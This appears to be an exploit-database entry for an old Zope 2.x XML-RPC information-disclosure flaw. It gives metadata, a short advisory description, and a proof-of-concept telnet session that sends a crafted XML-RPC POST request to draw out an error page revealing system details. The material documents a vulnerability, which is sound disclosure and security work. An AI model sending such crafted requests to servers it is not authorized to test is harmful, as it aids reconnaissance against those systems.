Zope 2.x - Incorrect XML-RPC Request Information Disclosure

Author: Rossen Raykov
type: remote
platform: linux
port: 
date_added: 2002-09-26 
date_updated: 2012-10-10 
verified: 1 
codes: OSVDB-58285 
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source: https://www.securityfocus.com/bid/5806/info

A vulnerability has been reported for Zope 2.5.1 and earlier. Reportedly, Zope does not handle XML-RPC requests properly. Specially crafted XML-RPC requests may cause Zope to respond to a request with an error page with system specific details.

telnet localhost 8080
POST /Documentation/comp_tut HTTP/1.0
Host: localhost
Content-Type: text/xml
Content-length: 93

<?xml version="1.0"?>
<methodCall>
<methodName>objectIds</methodName>
<params/>
</methodCall>